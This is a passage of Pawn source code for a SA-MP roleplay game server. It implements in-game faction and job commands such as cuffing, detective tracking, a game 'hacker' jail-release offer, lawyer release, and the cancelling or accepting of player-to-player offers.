	if(PlayerInfo[playerid][pLeader] != 2 && PlayerInfo[playerid][pLeader] != 8 && PlayerInfo[playerid][pMember] != 2 && PlayerInfo[playerid][pMember] != 8)
	{
	SCM(playerid,COLOR_visit,"you are not a hitmen or fbi.");
	return 1;
	}
	if(PlayerInfo[playerid][pLeader] == 2 && OnDuty[playerid] != 1 || PlayerInfo[playerid][pMember] == 2 && OnDuty[playerid] != 1) {
	SCM(playerid,COLOR_visit,"you are not on-duty.");
	return 1;
	}
		  new cover[1024];
			new coverStats[1024];
			new xtext[50];
			if(HideTag[playerid] == 0) { xtext = "{FF0000}Disable"; }
			if(HideTag[playerid] == 1) { xtext = "{04ff00}Enable"; }
		  format(cover,sizeof(cover),"{04ff00}Enable \t\n{FF0000}Disable");
			format(coverStats,sizeof(coverStats),"Your CoverName Is %s .",xtext);
		  ShowPlayerDialog(playerid,99,DIALOG_STYLE_LIST,coverStats,cover,"Select","Cancel");
		  return 1;
	}
		// this command rewrited by Sina
		if(strcmp(cmd, "/cuff", true) == 0 || strcmp(cmd, "/cu", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp)) {
						SendMessage(playerid, COL_SYN, "Syntax: /cuff <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if(gTeam[giveplayerid] == TEAM_COP || IsACop(giveplayerid))
							{
								SendMessage(playerid, COLOR_GREY, "   You can't Cuff Cops !");
								return 1;
							}
							if(PlayerCuffed[giveplayerid] > 0)
							{
								SendMessage(playerid, COLOR_GREY, "   Player already Cuffed !");
								return 1;
							}
							//if(PINFO[giveplayerid][pAdmin] >= 10) return SCM(playerid,COLOR_SINA2,"Error: You can't cuff higher admins level.");
							if (ProxDetectorS(8.0, playerid, giveplayerid))
							{
								new car = GetPlayerVehicleID(playerid);
								if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Cuff yourself!"); return 1; }
								if(IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == 2 && IsPlayerInVehicle(giveplayerid, car))
								{
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "* You were Cuffed by %s, till uncuff.", sendername);
									SendMessage(giveplayerid, COLOR_WHITE, string);
									format(string, sizeof(string), "* You Cuffed %s, till uncuff.", giveplayer);
									SendMessage(playerid, COLOR_WHITE, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has cuffed %s.", GetPlayerRank(playerid), sendername, giveplayer);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "%s Hand Cuffs %s, so %s won't go anywhere.", sendername ,giveplayer,(PINFO[giveplayerid][pSex]==1)?("he"):("she"));
									ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
									GameTextForPlayer(giveplayerid, "~r~Cuffed", 2500, 3);
									TogglePlayerControllable(giveplayerid, 0);
									PlayerCuffed[giveplayerid] = 1;
									PlayerCuffedTime[giveplayerid] = 99999999999999;
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "   Player not in your Car, or your not the Driver !");
									return 1;
								}
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   That player is not near you !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a Cop / fbi / National Guard !");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/uncuff", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp)) {
						SendMessage(playerid, COL_SYN, "Syntax: /uncuff <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if (ProxDetectorS(8.0, playerid, giveplayerid))
							{
								if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Uncuff yourself!"); return 1; }
								if(PlayerCuffed[giveplayerid])
								{
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "* You were Uncuffed by %s.", sendername);
									SendMessage(giveplayerid, COLOR_WHITE, string);
									format(string, sizeof(string), "* You Uncuffed %s.", giveplayer);
									SendMessage(playerid, COLOR_WHITE, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has uncuffed %s.", GetPlayerRank(playerid), sendername, giveplayer);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									GameTextForPlayer(giveplayerid, "~g~Uncuffed", 2500, 3);
									TogglePlayerControllable(giveplayerid, 1);
									PlayerCuffed[giveplayerid] = 0;
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "   That player isn't Tied up !");
									return 1;
								}
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   That player is not near you !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a Cop / fbi / National Guard !");
				}
			}//not connected
			return 1;
			//-------------------------------
		}
		if(strcmp(cmd, "/find", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] != 1)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not a Detective.");
					return 1;
				}
				if(UsedFind[playerid] != 0 && PlayerInfo[playerid][pDetSkill] < 401)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You've already searched for someone, wait 2 minutes.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Find <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
					//if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't find higher admins rank.");
						if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Find yourself!"); return 1; }
						if(Jammer[giveplayerid] == 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: that player has enable jammer system."); return 1; }
						if(Specing[giveplayerid] >= 1) return SCM(playerid,COLOR_YELLOW2,"Error: You can't find this player now.");
						new points;
						new level = PlayerInfo[playerid][pDetSkill];
						if(level >= 0 && level <= 50)
						{ points = 30; }
						else if(level >= 51 && level <= 100)
						{ points = 60; }
						else if(level >= 101 && level <= 200)
						{ points = 100; }
						else if(level >= 201 && level <= 399)
						{ points = 150; }

						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						FindAccepted[playerid] = giveplayerid;
						new zonename[30];
						GetPlayerZoneName(giveplayerid, zonename, 30)
						if(nfind[giveplayerid] == 1) {
						format(zonename, sizeof(zonename), "Red Country (LS)");
						}
						format(string, 256, "Checkpoint added - %s, use /cancel find to cancel your checkpoint.",zonename);
						SendMessage(playerid, COLOR_Good, string);

							new playerState = GetPlayerState(giveplayerid)
							if(playerState == PLAYER_STATE_DRIVER) {
							new playerveh = GetPlayerVehicleID(giveplayerid);
							new vehicles = GetVehicleModel(playerveh) - 400;
//							new string[512];
							if(PlayerInfo[playerid][pLeader] == 1||PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 2||PlayerInfo[playerid][pMember] == 2||PlayerInfo[playerid][pLeader] == 3||PlayerInfo[playerid][pMember] == 3||PlayerInfo[playerid][pLeader] == 8||PlayerInfo[playerid][pMember] == 8)
							{
							format(string, 256, "Status: Driving a(n) %s.",aVehicleNames[vehicles]);
							SendMessage(playerid, COLOR_Good, string);
							}
							}
							else if(playerState ==  PLAYER_STATE_PASSENGER) {
							new playerveh = GetPlayerVehicleID(giveplayerid);
							new vehicles = GetVehicleModel(playerveh) - 400;
							new string22[256];
							if(PlayerInfo[playerid][pLeader] == 1||PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 2||PlayerInfo[playerid][pMember] == 2||PlayerInfo[playerid][pLeader] == 3||PlayerInfo[playerid][pMember] == 3||PlayerInfo[playerid][pLeader] == 20||PlayerInfo[playerid][pMember] == 20)
							{
							format(string22, 256, "Status: Passenger a(n) %s.",aVehicleNames[vehicles]);
							SendMessage(playerid, COLOR_Good, string22);
							}
							}
							else if(playerState ==   PLAYER_STATE_ONFOOT) {
							if(PlayerInfo[playerid][pLeader] == 1||PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 2||PlayerInfo[playerid][pMember] == 2||PlayerInfo[playerid][pLeader] == 3||PlayerInfo[playerid][pMember] == 3||PlayerInfo[playerid][pLeader] == 20||PlayerInfo[playerid][pMember] == 20)
							{
							SendMessage(playerid, COLOR_Good,  "Status: On-Foot.");
							}
							}
							if(Defind[giveplayerid] == 1) {
							new string22[256];
							format(string22, 256, "%s needs to find you",sendername);
							SendMessage(giveplayerid, COLOR_AdminWarn, string22);
							}
						FindTime[playerid] = 1;
						FindTimePoints[playerid] = points;
						PlayerTextDrawShow(playerid, DistanceTD[playerid]);
						if(PINFO[playerid][pDetSkill] < 401){PlayerInfo[playerid][pDetSkill] ++; SaveKonVal(playerid, "pDetSkill", PINFO[playerid][pDetSkill]);}
						UsedFind[playerid] = 1;
						CP[playerid] = 0;
						if(PlayerInfo[playerid][pDetSkill] == 50)
						{ SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill is now Level 2, soon you are able to find Faction Members."); }
						else if(PlayerInfo[playerid][pDetSkill] == 100)
						{ SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill is now Level 3, soon you are able to find Faction Members."); }
						else if(PlayerInfo[playerid][pDetSkill] == 200)
						{ SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill is now Level 4, you are now able to find Faction Members."); }
						else if(PlayerInfo[playerid][pDetSkill] == 400)
						{ SendMessage(playerid, COLOR_YELLOW, "Your Detective Skill is now Level 5, you are now able to find Faction Members."); }

					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
				}
			}
			return 1;
		}

		
		
		if(strcmp(cmd, "/hackfree", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
		        if(!IsAHacker(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not part of Unknowns.");
		        if(HackerCovered[playerid] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are on cover.");
		        if(PINFO[playerid][pHackPoints] < 5) return SCM(playerid,COLOR_YELLOW2,"Error: You need to have at least 5 hack points.");
		        if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this when you are in jail.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /hackfree <Playerid/PartOfName> <Price>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
			if(SellHFree[playerid] != 9999) { SCM(playerid, COLOR_RED, "You already sent an offer! Please first cancel that or wait for a reply."); return 1; }
				new Float:x, Float:y, Float:z;
							GetPlayerPos(giveplayerid,x,y,z);
							if(PlayerToPoint(10, playerid, x, y, z))
							{
		tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /hackfree <Playerid/PartOfName> <Price>");
							return 1;
						}
						new price;
						price = strval(tmp);
				if(price < 1 || price > 100000) { SCM(playerid, COLOR_WHITE, "Price must be beetween 100,000$ and 1$"); return 1; }
		if(GetPlayerPool(giveplayerid) < price) { SCM(playerid, COLOR_RED, "That player doesn't have this money"); return 1; }
						if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "Error: You can't free yourself"); return 1; }
					  if(PINFO[giveplayerid][pAdminJailed] == 1)
					{
					SCM(playerid, COLOR_YELLOW2, "Error: That player is Admin-Jailed.");
						}
						if(PlayerInfo[giveplayerid][pJailTime] >= 1 && PlayerInfo[playerid][pHackPoints] >= 5)
						{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "* You offered to free %s from jail (with hacking) for $%s.", giveplayer, FormatNumber(price));
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* %s has offered to free you from jail (with hacking) for $%s use /[acc]ept hfree %d!", sendername, FormatNumber(price),playerid);
							SendMessage(giveplayerid, COLOR_WHITE, string);
							SellHFree[playerid] = giveplayerid;
							BuyHFree[giveplayerid] = playerid;
							HFreePriceOffer[playerid] = price;
							        new hwarn[144];
		new name[MAX_PLAYER_NAME];
        new rankname[50];
        if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
        if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
        if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
        if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
        if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
        if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
        if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
        GetPlayerName(playerid, name, sizeof(name));
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s has offered %s to free with hacking",rankname,name,RPName(giveplayerid));
		SendHackerMessage(COLOR_HACKER, hwarn);

						}
						else
						{
							SendMessage(playerid, COLOR_YELLOW2, "Error: Player is not jailed.");
						}
					}
				else { SCM(playerid, COLOR_YELLOW2, "Error: That player is not close to you."); return 1; }
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: That player is offline.");
				}
			}//not connected
			return 1;
		}
	}
		
		
		
		
		
		
		
		
	//------------------------
		if(strcmp(cmd, "/free", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] != 2)
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a Lawyer!");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Free <Playerid/PartOfName> <Price>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
			if(SellFree[playerid] != 9999) { SCM(playerid, COLOR_RED, "You already sent a offer! Please first cancel that or wait for a reply."); return 1; }
				new Float:x, Float:y, Float:z;
							GetPlayerPos(giveplayerid,x,y,z);
							if(PlayerToPoint(10, playerid, x, y, z))
							{
		tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /free <Playerid/PartOfName> [price]");
							return 1;
						}
						new price;
						price = strval(tmp);
				if(price < 1 || price > 30000) { SCM(playerid, COLOR_WHITE, "Price must be beetween 30,000$ and 1$"); return 1; }
		if(GetPlayerPool(giveplayerid) < price) { SCM(playerid, COLOR_RED, "That player doesnt have this money"); return 1; }
						if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Free yourself!"); return 1; }
					  if(PINFO[giveplayerid][pAdminJailed] == 1)
					{
					SCM(playerid, COLOR_YELLOW2, "Error: That player is Admin-Jailed.");
						}
						if(PlayerInfo[giveplayerid][pJailTime] >= 1 && PlayerInfo[playerid][pApproval] >= 1)
						{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "* You offered to free %s of jail for $%s.", giveplayer, FormatNumber(price));
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* %s has offered to free you of jail for $%s use /[acc]ept free %d!", sendername, FormatNumber(price),playerid);
							SendMessage(giveplayerid, COLOR_WHITE, string);
							SellFree[playerid] = giveplayerid;
							BuyFree[giveplayerid] = playerid;
							FreePriceOffer[playerid] = price;

						}
						else
						{
							SendMessage(playerid, COLOR_GRAD1, "   Player didnt need a Lawyer / Player aint Jailed !");
						}
					}
				else { SCM(playerid, COLOR_RED, "That player isn't near of you!"); return 1; }
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   That player is offline!");
				}
			}//not connected
			return 1;
		}
	}
		if(strcmp(cmd,"/cancel",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				new x_job[256];
				x_job = strtok(cmdtext, idx);
				if(!strlen(x_job)) {
					SendMessage(playerid, COLOR_WHITE, "|__________________ Cancel __________________|");
					SendMessage(playerid, COL_SYN, "Syntax: /cancel [name]");
					SendMessage(playerid, COLOR_GREY, "Available names: Drugs, Repair, Lawyer, Live, Refill, Taxi, Sellcarto, Checkpoint, RequestEvent, Grapes");
					SendMessage(playerid, COLOR_GREY, "Available names: Medic, Mechanic, Ticket, Witness, Marriage, Divorce, PersonalCar, Find, Boxes, Liquors, Duel");
					SendMessage(playerid, COLOR_WHITE, "|____________________________________________|");
					return 1;
				}
				if(strcmp(x_job,"requestevent",true) == 0)
				{
					if(EventID[playerid] != 9999) {
					EventIDUsed[EventID[playerid]] = false;
					EventID[playerid] = 9999;
					SendMessage(playerid, COLOR_YELLOW, "You canceled your request event.");
					}
				}
				if(strcmp(x_job,"drugs",true) == 0)
				{
					DrugOffer[playerid] = INVALID_PLAYER_ID;
					DrugPrice[playerid] = 0;
					DrugGram[playerid] = 0;
				}
				if(strcmp(x_job,"boxes",true) == 0)
				{
                    BoxxOffer[playerid] = INVALID_PLAYER_ID;
					BoxxPrice[playerid] = 0;
					BoxxGram[playerid] = 0;
				}
				if(strcmp(x_job,"duel",true) == 0)
				{
					if(OnDuel[playerid]!=INVALID_PLAYER_ID){}
					else{
                    DuelWith[DuelWith[playerid]] = INVALID_PLAYER_ID;
                    DuelWith[playerid] = INVALID_PLAYER_ID;
                    DuelBy[DuelBy[playerid]] = 0;
					DuelBy[playerid] = 0;}
				}
				if(strcmp(x_job,"liquors",true) == 0)
				{
                    LiquorxOffer[playerid] = INVALID_PLAYER_ID;
					LiquorxPrice[playerid] = 0;
					LiquorxGram[playerid] = 0;
				}
				if(strcmp(x_job,"grapes",true) == 0)
				{
                    GrapexOffer[playerid] = INVALID_PLAYER_ID;
					GrapexPrice[playerid] = 0;
					GrapexGram[playerid] = 0;
				}
				if(strcmp(x_job,"checkpoint",true) == 0)
				{
					if(FindTime[playerid] >= 1) return SendMessage(playerid, COLOR_LIGHTRED, "You cannot cancel find checkpoint.");
					OnCheckpoint[playerid] = 0;
					CP[playerid] = 0;
					SendMessage(playerid, COLOR_YELLOW, "You canceled and removed your checkpoint.");
					DisablePlayerCheckpoint(playerid);
				}
				if(strcmp(x_job,"heal",true) == 0)
				{
					sHealOffer[playerid] = INVALID_PLAYER_ID;
					sHealPrice[playerid] = 0;
				}
				/*
				else if(!strcmp(x_job,"helpme",true))
				{
					if(PINFO[playerid][pAdmin] > 0) return SCM(playerid,COLOR_GG,"Admins cannot use /cancel report.");
					if(Helpme[playerid] == INVALID_PLAYER_ID) return SCM(playerid,COLOR_GG,"You don't have helpme.");
					Helpme[playerid] = INVALID_PLAYER_ID;
					HelpmeText[playerid][0] = '\0';
					new strlol[50];
					format(strlol, 50, "%s has canceled his Helpme request.",PINFO[playerid][pName]);
					for(new i = 0;i<Akharish;i++)
					{
						if(IsPlayerConnected(i) && PINFO[i][pHelper] > 0)
						{
							SCM(i, COLOR_GG, strlol);
						}
					}
					return SCM(playerid,COLOR_LIGHTBLUE,"You canceled the helpme request.");
				}

				else if(!strcmp(x_job,"report",true))
				{
					if(PINFO[playerid][pAdmin] > 0) return SCM(playerid,COLOR_GG,"Admins cannot use /cancel report.");
					if(Reported[playerid] == INVALID_PLAYER_ID) return SCM(playerid,COLOR_GG,"You don't have report.");
					Reported[playerid] = INVALID_PLAYER_ID;
					ReportText[playerid][0] = '\0';
					new strlol[50];
					format(strlol, 50, "%s has canceled his report request.",PINFO[playerid][pName]);
					for(new i = 0;i<Akharish;i++)
					{
						if(IsPlayerConnected(i) && PINFO[i][pAdmin] > 0)
						{
							SCM(i, COLOR_GG, strlol);
						}
					}
					return SCM(playerid,COLOR_LIGHTBLUE,"You canceled the report request.");
				}
				*/
				else if(strcmp(x_job,"repair",true) == 0)
				{
					RepairOffer[playerid] = INVALID_PLAYER_ID;
					RepairPrice[playerid] = 0;
					RepairCar[playerid] = 0;
				}
				else if(strcmp(x_job,"lawyer",true) == 0)
				{
					WantLawyer[playerid] = 0;
					CallLawyer[playerid] = 0;
				}
				else if(strcmp(x_job,"live",true) == 0)
				{
					LiveOffer[playerid] = INVALID_PLAYER_ID;
				}
				else if(strcmp(x_job,"refill",true) == 0)
				{
					RefillOffer[playerid] = INVALID_PLAYER_ID;
					RefillPrice[playerid] = 0;
				}
				else if(strcmp(x_job,"witness",true) == 0)
				{
					MarryWitnessOffer[playerid] = INVALID_PLAYER_ID;
				}
				else if(strcmp(x_job,"marriage",true) == 0)
				{
					ProposeOffer[playerid] = INVALID_PLAYER_ID;
				}
				else if(strcmp(x_job,"divorce",true) == 0)
				{
					DivorceOffer[playerid] = INVALID_PLAYER_ID;
				}
				else if(strcmp(x_job,"personalcar",true) == 0)
				{
					OnSellCar[OwnableCarOffer[playerid]] = INVALID_PLAYER_ID;
					SCM(OwnableCarOffer[playerid],COL_SYN,"That player has canceled this offer.");
					OwnableCarOffer[playerid] = INVALID_PLAYER_ID;
					OwnableCarMethod[playerid] = 0;
					OwnableCarID[playerid] = 0;
					OwnablePriceModel[playerid] = 0;
					SCM(playerid,COLOR_MAMAD,"That player's offer canceled successfully.");
				}
				else if(strcmp(x_job,"ticket",true) == 0)
				{
					TicketOffer[playerid] = 9999;
					TicketMoney[playerid] = 0;
				}
				else if(strcmp(x_job,"medic",true) == 0)
				{
					if(IsPlayerConnected(playerid))
					{
						if(IWantMedic[playerid] == 1)
						{
							IWantMedic[playerid] = 0;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You are not the current Caller !");
							return 1;
						}
					}
				}
				else if(strcmp(x_job,"mechanic",true) == 0)
				{
					if(IsPlayerConnected(playerid))
					{
						if(IWantMechanic[playerid] == 1)
						{
							IWantMechanic[playerid] = 0;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You are not the current Caller !");
							return 1;
						}
					}
				}
				else if(strcmp(x_job,"approval",true) == 0)
				{
					SellApproval[playerid] = 9999;
					BuyApproval[playerid] = 9999;
				}
				else if(strcmp(x_job,"gun",true) == 0)
				{
					if(Tofang[playerid] == 9999)
					{
						SCM(playerid,COLOR_LIGHTRED,"You haven't any offer to accept it.");
						return 1;
					}
					Tofang[playerid] = 9999;
					SCM(playerid,COLOR_BLUE, "You have rejected recieved gun offer!"); return 1;
				}
				else if(!strcmp(x_job,"sellcarto",true))
				{
					if(OnSellCar[playerid] == INVALID_PLAYER_ID) return SCM(playerid,COLOR_SINA3,"You never use /sellcarto");
					OwnableCarOffer[OnSellCar[playerid]] = INVALID_PLAYER_ID;
					OwnableCarMethod[OnSellCar[playerid]] = 0;
					OwnableCarID[OnSellCar[playerid]] = 0;
					OwnablePriceModel[OnSellCar[playerid]] = 0;
					SCM(OnSellCar[playerid],COLOR_SINA3,"sellcar offer rejected.");
					SCM(playerid,COLOR_SINA3,"sellcarto offer rejected.");
					OnSellCar[playerid] = INVALID_PLAYER_ID;
				}
				else if(strcmp(x_job,"find",true) == 0)
				{
					if(IsPlayerConnected(playerid))
					{
						if(PlayerInfo[playerid][pJob] != 1)
						{
							SendMessage(playerid, COLOR_LIGHTBLUE, "You are not a Detective.");
							return 1;
						}
						if(FindTime[playerid] >= 1)
						{
							PlayerTextDrawHide(playerid, DistanceTD[playerid]);
							DisablePlayerCheckpoint(playerid);
							OnCheckpoint[playerid] = 0;
							FindTime[playerid] = 0;
							FindTimePoints[playerid] = 0;
							SendMessage(playerid, COLOR_LIGHTBLUE, "Checkpoint deleted.");
							return 1;
						}
						else
						{
							SendMessage(playerid, COLOR_LIGHTRED, "You dont have enable checkpoint.");
							return 1;
						}
					}
				}
				else if(strcmp(x_job,"taxi",true) == 0)
				{
					if(TaxiCallTime[playerid] == 1)
					{
						if(TransportDuty[playerid] == 1)
						{
							TaxiAccepted[playerid] = INVALID_PLAYER_ID;
							GameTextForPlayer(playerid, "~w~You have~n~~r~Canceled the call", 5000, 1);
							TaxiCallTime[playerid] = 0;
							DisablePlayerCheckpoint(playerid);
							OnCheckpoint[playerid] = 0;
						}
						else
						{
							if(IsPlayerConnected(TaxiCall)) { if(TaxiCall == playerid) { TaxiCall = INVALID_PLAYER_ID; } }
							for(new i = 0; i < Akharish; i++)
							{
								if(IsPlayerConnected(i))
								{
									if(TaxiAccepted[i] < INVALID_PLAYER_ID)
									{
										if(TaxiAccepted[i] == playerid)
										{
											TaxiAccepted[i] = INVALID_PLAYER_ID;
											GameTextForPlayer(i, "~w~Taxi Caller~n~~r~Canceled the call", 5000, 1);
											TaxiCallTime[i] = 0;
											DisablePlayerCheckpoint(i);
											OnCheckpoint[i] = 0;
										}
									}
								}
							}
						}
					}
				}
				else { return 1; }
			}
			return 1;
		}
		if(strcmp(cmd, "/accept", true) == 0 || strcmp(cmd, "/acc", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new x_job[256];
				x_job = strtok(cmdtext, idx);
				if(!strlen(x_job)) {
					SendMessage(playerid, COLOR_WHITE, "|__________________ Accept __________________|");
					SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept [name]");
					SendMessage(playerid, COLOR_GREY, "Available names: Drugs, Repair, Lawyer, Live, Refill, Taxi, Gun, Grapes, Duel");
					SendMessage(playerid, COLOR_GREY, "Available names: Medic, Mechanic, Ticket, PersonalCar, Boxes, Liquors, HFree");
					SendMessage(playerid, COLOR_WHITE, "|____________________________________________|");
					return 1;
				}
				else if(strcmp(x_job,"divorce",true) == 0)
				{
					if(DivorceOffer[playerid] < INVALID_PLAYER_ID)
					{
						if(IsPlayerConnected(DivorceOffer[playerid]))
						{
							if(ProxDetectorS(10.0, playerid, DivorceOffer[playerid]))
							{
								GetPlayerName(DivorceOffer[playerid], giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "* You have accepted %s's request to be %s Marriage Witness.", giveplayer, (PINFO[DivorceOffer[playerid]][pSex]==1)?("his"):("her"));
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "* %s has accepted your request to be your Marriage Witness.", sendername);
								SendMessage(DivorceOffer[playerid], COLOR_WHITE, string);
								ClearMarriage(playerid);
								ClearMarriage(DivorceOffer[playerid]);
	//                          PlayerInfo[playerid][pPhousekey] = 9999;
	//                          PlayerInfo[playerid][pPbiskey] = 9999;
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   The player that sent you the Divorce Papers is not near you !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   No-one sent you any Divorce Papers !");
						return 1;
					}
				}
				else if(strcmp(x_job,"gun",true) == 0)
				{
				if(AccGun[playerid] >= 5) {
				SCM(playerid, COLOR_YELLOW2, "Error: You are flooding. wait for 30 seconds.");
				SetTimerEx("AccGunT", 30000, 0, "d", playerid);
				return 1;
				}
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Gun <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					new money = GunPricee[playerid];
					new gunname[100];
					if(IsPlayerConnected(playerid))
						{
						if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot accept yourself!"); return 1; }
						if(PlayerInfo[playerid][pJailTime] >= 1)
						{
	SCM(playerid,COLOR_YELLOW, "You can't accept any gun when you are in jail."); return 1;
						}
						if(Tofang[playerid] != giveplayerid) { SCM(playerid,COLOR_WHITE,"Invalid playerID!"); return 1; }
						if (ProxDetectorS(5.0, playerid, giveplayerid))
							{
						new mats = PlayerInfo[giveplayerid][pMats];
						if(mats >= Mat[playerid])
							{
							if(GetPlayerPool(playerid) >= GunPricee[playerid])
								{
						if(IsPlayerInAnyVehicle(playerid))
						{
						SCM(playerid,COLOR_YELLOW, "You can't accept gun when you are in vehicle."); return 1;
						}
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetWeaponName(weapon[playerid], gunname, sizeof(gunname));
						format(string, sizeof(string), "You have bought a %s with %d ammo from %s for $%s money", gunname,ammo[playerid],giveplayer,FormatNumber(money));
						SendMessage(playerid, COLOR_LIGHTBLUE, string);
						format(string, sizeof(string), "You sold a %s with %d ammo to %s for $%s money", gunname,ammo[playerid],sendername,FormatNumber(money));
						SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
